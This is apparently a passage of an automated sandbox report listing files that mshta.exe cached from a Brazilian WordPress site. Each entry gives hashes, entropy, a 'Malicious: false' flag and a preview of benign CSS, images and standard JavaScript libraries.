MD5:	16AA7C3BEBF9C1B84C9EE07666E3207F
SHA1:	BF0AFA2F8066EB7EE98216D70A160A6B58EC4AA1
SHA-256:	7990E703AE060C241EBA6257D963AF2ECF9C6F3FBDB57264C1D48DDA8171E754
SHA-512:	245559F757BAB9F3D63FB664AB8F2D51B9369E2B671CF785A6C9FB4723F014F5EC0D60F1F8555D870855CF9EB49F3951D98C62CBDF9E0DC1D28544966D4E70F1
Malicious:	false
IE Cache URL:	res://ieframe.dll/error.dlg
Preview:	...<HTML id=dlgError STYLE="font-family: ms sans serif; font-size: 8pt;..width: 41.4em; height: 24em">..<HEAD>..<meta http-equiv="Content-Type" content="text/html; charset=utf-8">..<META HTTP-EQUIV="MSThemeCompatible" CONTENT="Yes">..<TITLE id=dialogTitle>..Script Error..</TITLE>..<SCRIPT>..var L_Dialog_ErrorMessage = "An error has occurred in this dialog.";..var L_ErrorNumber_Text = "Error: ";..var L_ContinueScript_Message = "Do you want to debug the current page?";..var L_AffirmativeKeyCodeLowerCase_Number = 121;..var L_AffirmativeKeyCodeUpperCase_Number = 89;..var L_NegativeKeyCodeLowerCase_Number = 110;..var L_NegativeKeyCodeUpperCase_Number = 78;..</SCRIPT>..<SCRIPT LANGUAGE="JavaScript" src="error.js" defer></SCRIPT>..</HEAD>..<BODY ID=bdy onLoad="loadBdy()" style="font-family: 'ms sans serif';..font-size: 8pt; background: threedface; color: windowtext;" topmargin=0>..<CENTER id=ctrErrorMessage>..<table id=tbl1 cellPadding=3 cellspacing=3 border=0..style="background: buttonface

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\owl.theme[1].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1664
Entropy (8bit):	5.223754054665017
Encrypted:	false
SSDEEP:	24:8rpEA98FvWxsEFgbZl4ulFZlnG1GoRVWX1GaDtGqvWf+KHK2ld1GKZXugZM5+iTk:8PG0+EFgPeAGfBw5JX0kg9
MD5:	FE31A99F51A65EC2A31AD4B63702C93D
SHA1:	1BA10A799FBD399D03E9AD2C71431C89ABBC4F32
SHA-256:	8F8439F41DD768871BDE30FCEB034A6DE5A50945A564658A60A06B23CB5D039A
SHA-512:	0346796A91A74B470D6C44536A685D8F8E7C154163A60CF001EC15CDD80A71B43ED270112575E584974F8274FDB4200E2A3EBF92DA8A8F9ACC1438BD3495446F
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.theme.css?ver=1.24
Preview:	/. .Owl Carousel Owl Demo Theme ..v1.24./...owl-theme .owl-controls{..margin-top: 10px;..text-align: center;.}../* Styling Next and Prev buttons /...owl-theme .owl-controls .owl-buttons div{..color: #FFF;..display: inline-block;..zoom: 1;..display: inline;/IE7 life-saver /..margin: 5px;..padding: 3px 10px;..font-size: 12px;..-webkit-border-radius: 30px;..-moz-border-radius: 30px;..border-radius: 30px;..background: #869791;..filter: Alpha(Opacity=50);/IE7 fix/..opacity: 0.5;.}./* Clickable class fix problem with hover on touch devices /./ Use it for non-touch hover action /..owl-theme .owl-controls.clickable .owl-buttons div:hover{..filter: Alpha(Opacity=100);/IE7 fix/..opacity: 1;..text-decoration: none;.}../ Styling Pagination/...owl-theme .owl-controls .owl-page{..display: inline-block;..zoom: 1;..display: inline;/IE7 life-saver /.}..owl-theme .owl-controls .owl-page span{..display: block;..width: 12px;..height: 12px;..margin: 5px 7px;..filter: Alpha(Opacity=50);/

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\parallax[1].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	403
Entropy (8bit):	4.793570624792053
Encrypted:	false
SSDEEP:	6:Mwq7sFnOst7+pArYTKfZ0ArB3Ozgr9sjrez5yzNLAWzlYTrw5SN3FLmiYR0vY:MDZs5ybn3grwOQZRzlymiYR0A
MD5:	D836CAC74A1D9528BE73EE745D64B8CA
SHA1:	D8269C3090161BAA21C97DF370E32C68F512C1A8
SHA-256:	E3BAB86A4895EB161114F42EC7EBD54534D90ED21691B986AB7C7C6C5DD1D57C
SHA-512:	966C80EC83F820D8EDA03CD01ABBBEBA8C79AE5098777E533F7A38134379CF921E25B3C17837502D34CD69B002009F955740FF30D7ED8DB76776B421BE48E501
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0
Preview:	body .main-holder {..overflow: hidden;..position: static;.}..parallax-box {..position: relative;.}..parallax-content {..position: relative;..z-index: 2;.}..parallax-bg {..position: absolute;..overflow:hidden;..top: 0;..left: 0;..width: 100%;..height:100%;.}..parallax-bg-inner {..position:relative;..background-repeat: no-repeat;..background-size: cover;..background-position: center;..max-width:none;.}

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\switcher[1].png

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	PNG image data, 10 x 19, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	207
Entropy (8bit):	5.824703976565338
Encrypted:	false
SSDEEP:	3:yionv//thPlHstj5l7prtxBlly43g/3MkOl0tDlX4wkBDjW3PsFmCsyxxZ2UGclC:6v/lhPWtVl1QHMkdJ4nDi3UqfclKh3p
MD5:	D6AE4F341752017AB0E603E3BB9260B7
SHA1:	C84C11D3BC69C7E14B2F75E7DEA6E0AC93DEE1E2
SHA-256:	8C2AD9254589A597B65DAE284A6DA49DBFE1E3C8E628B03B80883D980FB6435E
SHA-512:	136F04B44FC3194FB2DDA6DDE51AB0B83CE15BCD129EAD332053114675423D9E21E02769969D7037BC282F59AE11E673B61E2B3977253C54D8C5270FA72228FA
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/gtranslate/switcher.png
Preview:	.PNG........IHDR....................sBIT....\|.d.....pHYs...........~.....tEXtCreation Time.01/09/10.......tEXtSoftware.Adobe Fireworks CS4......'IDAT(.c\|....."..###1.B&.T...Q..QH.(..5/.?..Q-....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\warning[1]

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	GIF image data, version 89a, 36 x 38
Category:	dropped
Size (bytes):	1062
Entropy (8bit):	4.517838839626174
Encrypted:	false
SSDEEP:	12:z4ENetWsdvCMtkEFk+t2cd3ikIbOViGZVsMLfE4DMWUcC/GFvyVEZd6vcmadxVtS:nA/ag/QSi6/LKZzqKVQgJOexQkYfG6E
MD5:	124A9E7B6976F7570134B7034EE28D2B
SHA1:	E889BFC2A2E57491016B05DB966FC6297A174F55
SHA-256:	5F95EFF2BCAAEA82D0AE34A007DE3595C0D830AC4810EA4854E6526E261108E9
SHA-512:	EA1B3CC56BD41FC534AAC00F186180345CB2C06705B57C88C8A6953E6CE8B9A2E3809DDB01DAAC66FA9C424D517D2D14FA45FBEF9D74FEF8A809B71550C7C145
Malicious:	false
Preview:	GIF89a$.&.......h...............h.hh..h..h..h..h....h................h.................h.................h................hh.h..h..h..h..h.hhhhh.hh.hh.hh.hh..hh.h..h..h.h..h..hh.h..h..h..h..h..hh.h..h..h..h..h..hh.h..h..h..h..h...h...............h.hh..h..h..h..h....h...............h................h...........h.................h...............h.hh..h..h..h..h....h................h.................h.................h.................h..............h.hh.h..h..h..h....h..............h................h................h................h...............h.hh..h..h..h..h....h................h.................h.................h......................................................................................................................................!.......,....$.&.@......H.......<0.....VXQH..C..1>.(..@..C.t.q"B..S.\.r.D...Z.. .M.41.".......<.r.;.r4..P..]....+.T-...N...x....1.:..TdD...^.j..W.r...y....V...Lx0..):8p q.4.;...f`.r-K...(..P....t.].~..l..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\wp-emoji-release.min[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	11943
Entropy (8bit):	5.096253847639827
Encrypted:	false
SSDEEP:	192:WuKiKqdccoXJW+TJr3J//bEvAbWXXR6AooHyrOUVsbEJEoesM0m3dJXWP/2//:0qlkJW+TJr3J//bEI+XgA5UCOeffJmW3
MD5:	FE0575B66568074463F12485D90F6D4C
SHA1:	AEEDD9AB3B7874E63F647042963CB1301A38B391
SHA-256:	647A6B36F3FD1F21BAE171270111096B4613C23A47E6621628A51BAE9C82B0B7
SHA-512:	0D209CBC9550CFCF49CA7CA5A1243E1578C0A42F9FB28C1FA8D353CEA26F24EED282547F47FE858126E1BA9A4AA4D8DDBD2CBDEF9DB5A45F24CFBFD6383BFF9E
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20
Preview:	// Source: wp-includes/js/twemoji.min.js.var twemoji=function(){"use strict";var f={base:"https://twemoji.maxcdn.com/2/",ext:".png",size:"72x72",className:"emoji",convert:{fromCodePoint:function(d){d="string"==typeof d?parseInt(d,16):d;if(d<65536)return a(d);return a(55296+((d-=65536)>>10),56320+(1023&d))},toCodePoint:i},onerror:function(){this.parentNode&&this.parentNode.replaceChild(g(this.alt,!1),this)},parse:function(d,u){u&&"function"!=typeof u\|\|(u={callback:u});return("string"==typeof d?function(d,t){return o(d,function(d){var u,f,e=d,c=x(d),a=t.callback(c,t);if(a){for(f in e="<img ".concat('class="',t.className,'" ','draggable="false" ','alt="',d,'"',' src="',a,'"'),u=t.attributes(d,c))u.hasOwnProperty(f)&&0!==f.indexOf("on")&&-1===e.indexOf(" "+f+"=")&&(e=e.concat(" ",f,'="',u[f].replace(n,r),'"'));e=e.concat("/>")}return e})}:function(d,u){var f,e,c,a,t,n,r,b,o,i,s,l=function d(u,f){var e,c,a=u.childNodes,t=a.length;for(;t--;)e=a[t],3===(c=e.nodeType)?f.push(e):1!==c\|\|"ownerSV

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\bootstrap.min[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	28756
Entropy (8bit):	5.071148466705677
Encrypted:	false
SSDEEP:	768:EAkESlcDWdfi5SSjb60vPxMhdo2YSHZ/ZQesapu7odL:Y8ZMSmZ7z
MD5:	BE1C5898C4332C8E7F9906011E005BB0
SHA1:	9567F7B3FD78160203C5795D397128390381D8A3
SHA-256:	7C1D540B7034E4790ECE82622854C1FBF34F0D4297F3167D914FB09DDAE6CB4C
SHA-512:	0799162F87D2A6AC7932CECBE041FB3284EE64663C17BBADFE439E750E768D4EF4AA9A73BCC1353512AE0ADA813698DD8DD8372A753946F318BB265CAB2C2DAA
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0
Preview:	/*. Bootstrap.js by @fat & @mdo.* plugins: bootstrap-transition.js, bootstrap-modal.js, bootstrap-dropdown.js, bootstrap-scrollspy.js, bootstrap-tab.js, bootstrap-tooltip.js, bootstrap-popover.js, bootstrap-affix.js, bootstrap-alert.js, bootstrap-button.js, bootstrap-collapse.js, bootstrap-carousel.js, bootstrap-typeahead.js.* Copyright 2012 Twitter, Inc..* http://www.apache.org/licenses/LICENSE-2.0.txt.*/.!function(a){a(function(){a.support.transition=function(){var a=function(){var a=document.createElement("bootstrap"),b={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd otransitionend",transition:"transitionend"},c;for(c in b)if(a.style[c]!==undefined)return b[c]}();return a&&{end:a}}()})}(window.jQuery),!function(a){var b=function(b,c){this.options=c,this.$element=a(b).delegate('[data-dismiss="modal"]',"click.dismiss.modal",a.proxy(this.hide,this)),this.options.remote&&this.$element.find(".modal-body").load(this.options.remote)};b.pr

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\camera.min[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	39402
Entropy (8bit):	5.336241934125691
Encrypted:	false
SSDEEP:	768:HUp+FrGU1OYvR7qO218kwiA2gRDLMjmQyrshT7Db3E8J1KTuDvniryxn7OqOPOtb:6fU1Ox62LvniFFl3D+
MD5:	4338F6FCF6F5F1332747A94E09A65DF4
SHA1:	099715E7293A8B570C46779C7A28B6832E34B72A
SHA-256:	CAD3B6107C8A8F38229ADD27D02A2150E204BA78ACC54144E132A20BA40FC3FE
SHA-512:	1120EC4FB4B981CDDF49F4B9933660F74A8B4B03746B5B329925E32FE5ABD13A675ACBBC8A53A2E2AB4F5C575256D0577B282236A60EEBA977232122577D3DB5
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4
Preview:	// Camera slideshow v1.3.4 - a jQuery slideshow with many effects, transitions, easy to customize, using canvas and mobile ready, based on jQuery 1.4+.// Copyright (c) 2012 by Manuel Masia - www.pixedelic.com.// Licensed under the MIT license: http://www.opensource.org/licenses/mit-license.php.;(function(a){a.fn.camera=function(b,c){function e(){if(navigator.userAgent.match(/Android/i)\|\|navigator.userAgent.match(/webOS/i)\|\|navigator.userAgent.match(/iPad/i)\|\|navigator.userAgent.match(/iPhone/i)\|\|navigator.userAgent.match(/iPod/i)){return true}}function H(){var b=a(s).width();a("li",s).removeClass("camera_visThumb");a("li",s).each(function(){var c=a(this).position(),d=a("ul",s).outerWidth(),e=a("ul",s).offset().left,f=a("> div",s).offset().left,g=f-e;if(g>0){a(".camera_prevThumbs",V).removeClass("hideNav")}else{a(".camera_prevThumbs",V).addClass("hideNav")}if(d-g>b){a(".camera_nextThumbs",V).removeClass("hideNav")}else{a(".camera_nextThumbs",V).addClass("hideNav")}var h=c.left,i=c.left+

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\custom[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	7063
Entropy (8bit):	4.760531090364714
Encrypted:	false
SSDEEP:	96:bHXKN1r0gCJ5e2zHdXv9CSjlvrOQLAn2jYU:bHaH0g4JXv9fJaWAn6p
MD5:	9CA23FDB7BD610BD719855071377B6EF
SHA1:	058963F75C878FA6E48671046293F9B70D35B5AB
SHA-256:	859D8F76737036B7C6475508DBA8DA8BD0764AA99CA5A9D4638FADC0238AB4A4
SHA-512:	15625C798E1402DACAFFBFBE064CD3D430D51FBB0E40890AD08A4F60389D24459C7B6E19030EDB32380377E73E0C387A819AB29AF308C5DE5C3E708AEA416556
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.0
Preview:	// ---------------------------------------------------------.// !!!!!!!!!!!!!!!!!document ready!!!!!!!!!!!!!!!!!!!!!!!!!!.// ---------------------------------------------------------.jQuery(document).ready(function(){.// ---------------------------------------------------------.// Blog masonry.// ---------------------------------------------------------..if(jQuery('body.blog')[0]){...var isotope_holder = jQuery('.isotope');...isotope_holder.imagesLoaded( function() {....isotope_holder.isotope({.....itemSelector : '.post_wrapper',.....hiddenClass : 'hidden',.....resizable : true,.....transformsEnabled : false,.....layoutMode: 'masonry'....}).bind("resize.rainbows", function(){.....isotope_holder.isotope('reLayout');....}).trigger("resize.rainbows").css({'visibility':'visible'});...});..}.// ---------------------------------------------------------.// Call Magnific Popup.// ---------------------------------------------------------..jQuery(".thumbnail").parent().each(function(){magnific_p

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\device.min[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	2778
Entropy (8bit):	4.92970371310333
Encrypted:	false
SSDEEP:	48:xLnN+tyKOxwaPYuxwFAmKldNzr1JhxPE63haDJ77LMeHrc76cCgP:hTPCoEt6
MD5:	CCD1C11A6BA5DF0CBFC470B04A3739F4
SHA1:	A8864D81DE7689672EF8F916E430AAABF563C22D
SHA-256:	A6BA246C6B7B60AFFBB369C8884D172DD3E4702A594F09BBA678A7773A25E411
SHA-512:	31F7B74A31E796534D0F51BD9BC9004BDD30EE896D987300A220DADAA526753C9C6D00081F4E9D18EA2BF875C776D6ED55CBA62404B22534BCD45A277EC45A79
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0
Preview:	/! device.js 0.1.58 /.(function(){var a,b,c,d,e,f,g,h,i,j;a=window.device,window.device={},c=window.document.documentElement,j=window.navigator.userAgent.toLowerCase(),device.ios=function(){return device.iphone()\|\|device.ipod()\|\|device.ipad()},device.iphone=function(){return d("iphone")},device.ipod=function(){return d("ipod")},device.ipad=function(){return d("ipad")},device.android=function(){return d("android")},device.androidPhone=function(){return device.android()&&d("mobile")},device.androidTablet=function(){return device.android()&&!d("mobile")},device.blackberry=function(){return d("blackberry")\|\|d("bb10")\|\|d("rim")},device.blackberryPhone=function(){return device.blackberry()&&!d("tablet")},device.blackberryTablet=function(){return device.blackberry()&&d("tablet")},device.windows=function(){return d("windows")},device.windowsPhone=function(){return device.windows()&&d("phone")},device.windowsTablet=function(){return device.windows()&&d("touch")},device.fxos=function(){return(

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\error[1]

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	HTML document, UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	3247
Entropy (8bit):	5.459946526910292
Encrypted:	false
SSDEEP:	96:vKFlZ/kxjqD9zqp36wxVJddFAdd5Ydddopdyddv+dd865FhlleXckVDuca:C0pv+GkduSDl6LRa
MD5:	16AA7C3BEBF9C1B84C9EE07666E3207F
SHA1:	BF0AFA2F8066EB7EE98216D70A160A6B58EC4AA1
SHA-256:	7990E703AE060C241EBA6257D963AF2ECF9C6F3FBDB57264C1D48DDA8171E754
SHA-512:	245559F757BAB9F3D63FB664AB8F2D51B9369E2B671CF785A6C9FB4723F014F5EC0D60F1F8555D870855CF9EB49F3951D98C62CBDF9E0DC1D28544966D4E70F1
Malicious:	false
Preview:	...<HTML id=dlgError STYLE="font-family: ms sans serif; font-size: 8pt;..width: 41.4em; height: 24em">..<HEAD>..<meta http-equiv="Content-Type" content="text/html; charset=utf-8">..<META HTTP-EQUIV="MSThemeCompatible" CONTENT="Yes">..<TITLE id=dialogTitle>..Script Error..</TITLE>..<SCRIPT>..var L_Dialog_ErrorMessage = "An error has occurred in this dialog.";..var L_ErrorNumber_Text = "Error: ";..var L_ContinueScript_Message = "Do you want to debug the current page?";..var L_AffirmativeKeyCodeLowerCase_Number = 121;..var L_AffirmativeKeyCodeUpperCase_Number = 89;..var L_NegativeKeyCodeLowerCase_Number = 110;..var L_NegativeKeyCodeUpperCase_Number = 78;..</SCRIPT>..<SCRIPT LANGUAGE="JavaScript" src="error.js" defer></SCRIPT>..</HEAD>..<BODY ID=bdy onLoad="loadBdy()" style="font-family: 'ms sans serif';..font-size: 8pt; background: threedface; color: windowtext;" topmargin=0>..<CENTER id=ctrErrorMessage>..<table id=tbl1 cellPadding=3 cellspacing=3 border=0..style="background: buttonface

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\facex_horizontal2-e1535501425981[1].png

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	PNG image data, 647 x 203, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	22332
Entropy (8bit):	7.95225542017139
Encrypted:	false
SSDEEP:	384:uOarYkT57qgE2KHef+OaSjnSuvLYF4Ex+ZdnNqe7rS1:darV5ugE2KzO5bSuvLY6Ex0nZ/S1
MD5:	2480CFD093671638A8FB34154B96D47A
SHA1:	3F412F18AAAFDEDC7354C60A7B1CE6A5DD5168D3
SHA-256:	3B2E707E645AF05594B0E247F77AB992B59767637F9A21A34A826CC16E0250D2
SHA-512:	C6FF46FC26E7F934812382F0AAE8BABEC184207F00E4FE696BE92F9548DC3630657B5EFFD87EA284254A8E6A6DCFCCEB93862AD6DB0F6D6647E026346963158D
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.png
Preview:	.PNG........IHDR...............9... .IDATx..y\|T...?.;K&.!.$........#K@..nE....e.Vl..........i.....Rk!..\.......(.,!..I.!d..~.?f.If.=w.d&.y..W.=..3K.~.w.$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$...ho V..l..We[@.LJ......m....3.Dp...Fb4........Cc...\{._.D".H$..Vz.8.{.d....)y._.p.@..9.D....f.01...S...lQ....5`m.D".H$.C.q....T..z..L........b0.dP)..2<.L..... .H$..D..!.wWT.i.....8.......L........<"5.[.H$..D.....H.pUQo%`.@.....Q...P.q9..D{?..D".Hz..J..=y2..T......D{?F... ~.U.......H$..D.....6....\|........f..m...........-...].4.<P....E.. .b..bBo......$.!.w......'.&%....n........~{.ZL".H$..$.]Z.~\qj...#L\|.....GN6...z..9.oj..Yc..T6t.ID.....I......NAn.d..{....R.G/.M...J$..D"..tIq..h.`......f...`.j\|Yy.......6C2.b...d`_..N:...._...b~(?7s..;.H$..D...R.p..d%N}.....u..f.~q.e.x..).[....L.M..,...........f....$..D".....8.]^.}..#B........Nb..U.Z{...3.+.+.za..,L.(...I.<.;...bv-..0.9...H$..D.].yq..p.0R.gAt....g....l..T.\.F1.j

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\flexslider[1].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	5941
Entropy (8bit):	5.075074456166432
Encrypted:	false
SSDEEP:	48:+XXpDjoVAxgD1/g1JlYZYGWUQlfAci14nNSvOFfYuzjwWPQvg8DhHoqK4zORAxFm:KpoVhxSK6UQlf21VOCo8FI74aRO9nblc
MD5:	C553A58B7B87830D624BC55C478732AD
SHA1:	E53CF7C7030F1CAACFEF4C00E7092340B61ABFC2
SHA-256:	013585D07F16D114D3402E3B540854C914254D7F17FD430E216E8DF7334C9C92
SHA-512:	8A68FBB8ECEC471BFDA84B524C56085BD8D928A97B0F538E531E2E057A15DA74FEDE3A2F32EEDE437C278778A302B25F4AE3B388E135878C0D2283691B7E3C48
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/flexslider.css?ver=2.2.0
Preview:	/. jQuery FlexSlider v2.2.0. * http://www.woothemes.com/flexslider/. . Copyright 2012 WooThemes. * Free to use under the GPLv2 license.. * http://www.gnu.org/licenses/gpl-2.0.html. . Contributing author: Tyler Smith (@mbmufffin). /.../ Browser Resets.********************************/..flex-container a:active,..flexslider a:active,..flex-container a:focus,..flexslider a:focus {outline: none;}..slides,..flex-control-nav,..flex-direction-nav {margin: 0; padding: 0; list-style: none;}..flexslider-rtl {direction:rtl; text-align:right;}./ Icon Fonts.********************************/./ Font-face Icons */.@font-face {..font-family: 'flexslider-icon';..src:url('fonts/flexslider-icon.eot');..src:url('fonts/flexslider-icon.eot?#iefix') format('embedded-opentype'),...url('fonts/flexslider-icon.woff') format('woff'),...url('fonts/flexslider-icon.ttf') format('truetype'),...url('fonts/flexslider-icon.svg#flexslider-icon') format('svg');..font-weight: normal;..font-style: normal;.}../

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\gtranslate-style24[1].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	693
Entropy (8bit):	4.934608717734217
Encrypted:	false
SSDEEP:	12:4IYVc5Y6ls3SFy4n51hHSs5n8oD6jc5n8JH6uDvKROYABO0b2TLx3OsqTLxN8QOX:4IYVc5Y6B51hys5n8G6jc5n8JH6uDvKX
MD5:	9B0F26CF8D22D4E9455F67B21C2F9759
SHA1:	F0240A4411D4A2EB073C574D37618E503392B76E
SHA-256:	226456D9A9EEF8F0831B6B181BE100A49CBAEC1651A8BD45D7D0CC897D161538
SHA-512:	FB5BA2942B79906FD59181F39F3C753D9950AB5502A56A3D164DFF50516CC70149EA68D3478F4B7ADC09E7FB67FD8519FF83EFD5089FA51B1B85400C50641D4B
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20
Preview:	a.gflag {font-size:24px;padding:1px 0;background-repeat:no-repeat;background-image:url(24.png);}.a.gflag img {border:0;height:24px;display:inline;}.a.gflag:hover {background-image:url(24a.png);}.img.gstats {display:none;}.a.alt_flag {background-image:url(alt_flags.png);}.a.alt_flag:hover {background-image:url(alt_flagsa.png);}.a.us_flag {background-position:-0px -100px;}.a.br_flag {background-position:-100px -100px;}.a.mx_flag {background-position:-200px -100px;}..a.glink {text-decoration:none;}.a.glink span {margin-right:5px;font-size:15px;vertical-align:middle;}.a.glink img {vertical-align:middle;display:inline;border:0;padding:0;margin:0;opacity:0.8;}.a.glink:hover img {opacity:1;}

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\jplayer.playlist.min[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	downloaded
Size (bytes):	8844
Entropy (8bit):	5.1067637688011125
Encrypted:	false
SSDEEP:	96:dv+TrZD5ip1yplBpElBpqdpw2pu9pA2/U7F2SOZ9lKMBIfpxTb8CGK2jhsBdy8bp:d0BCIZWBgVkSDSmmhDIHK4wVYH4cUdb0
MD5:	F05AC1D7BF95BA34B8BCB05D4455D2E6
SHA1:	F27305CA2CBCCA78715683611FFF72DF3F1359CD
SHA-256:	6D7D547D752E1999718DD64FD26DDEFA7EEDADBB11A6461248C520BEAF0D6022
SHA-512:	C05432C613C91ABAB1BE1B564278400DEEAEDEDE50528A928CD9ADE047899FB4EE55D5843845D286450CA38EA440C00021CFD3F93873547D7F53BAF138096AF3
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0
Preview:	/. Playlist Object for the jPlayer Plugin. * http://www.jplayer.org. . Copyright (c) 2009 - 2013 Happyworm Ltd. * Dual licensed under the MIT and GPL licenses.. * - http://www.opensource.org/licenses/mit-license.php. * - http://www.gnu.org/copyleft/gpl.html. . Author: Mark J Panaghiston. * Version: 2.3.0. * Date: 20th April 2013. . Requires:. * - jQuery 1.7.0+. * - jPlayer 2.3.0+. */.(function(b,f){jPlayerPlaylist=function(a,c,d){var e=this;this.current=0;this.removing=this.shuffled=this.loop=!1;this.cssSelector=b.extend({},this._cssSelector,a);this.options=b.extend(!0,{keyBindings:{next:{key:39,fn:function(){e.next()}},previous:{key:37,fn:function(){e.previous()}}}},this._options,d);this.playlist=[];this.original=[];this._initPlaylist(c);this.cssSelector.title=this.cssSelector.cssSelectorAncestor+" .jp-title";this.cssSelector.playlist=this.cssSelector.cssSelectorAncestor+" .jp-playlist";.this.cssSelector.next=this.cssSelector.cssSelectorAncestor+" .jp-next";this.cssSel

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\jquery-migrate-1.2.1.min[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	7199
Entropy (8bit):	5.223786028238701
Encrypted:	false
SSDEEP:	96:tBySz91Gwyk35YrfBewIt9jKLKDs2SFNK7wIDBRANyCfVJ45NI:zySzvGw/35YbMx9jKLKD3UIDBR8VVUq
MD5:	EB05D8D73B5B13D8D84308A4751ECE96
SHA1:	743052320809514FB788FE1D3DF37FC87CE90452
SHA-256:	1E67D8DBCCA1F6FD94E077C85C2FB40FA1C2756C99238DAA8DA882144260A68D
SHA-512:	7B68A43A22A41404A2FF58E0DA6A237492CAD0FC3E56D216980802B4D5FB483895262A7E049340D6670002BDF899BA88C319239E60D0AAE1AC31D98556B0AD6E
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1
Preview:	/! jQuery Migrate v1.2.1 \| (c) 2005, 2013 jQuery Foundation, Inc. and other contributors \| jquery.org/license /.jQuery.migrateMute===void 0&&(jQuery.migrateMute=!0),function(e,t,n){function r(n){var r=t.console;i[n]\|\|(i[n]=!0,e.migrateWarnings.push(n),r&&r.warn&&!e.migrateMute&&(r.warn("JQMIGRATE: "+n),e.migrateTrace&&r.trace&&r.trace()))}function a(t,a,i,o){if(Object.defineProperty)try{return Object.defineProperty(t,a,{configurable:!0,enumerable:!0,get:function(){return r(o),i},set:function(e){r(o),i=e}}),n}catch(s){}e._definePropertyBroken=!0,t[a]=i}var i={};e.migrateWarnings=[],!e.migrateMute&&t.console&&t.console.log&&t.console.log("JQMIGRATE: Logging is active"),e.migrateTrace===n&&(e.migrateTrace=!0),e.migrateReset=function(){i={},e.migrateWarnings.length=0},"BackCompat"===document.compatMode&&r("jQuery is not compatible with Quirks Mode");var o=e("<input/>",{size:1}).attr("size")&&e.attrFn,s=e.attr,u=e.attrHooks.value&&e.attrHooks.value.get\|\|function(){return null},c=e.attrHoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\jquery.jplayer.min[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	54355
Entropy (8bit):	5.24962012461709
Encrypted:	false
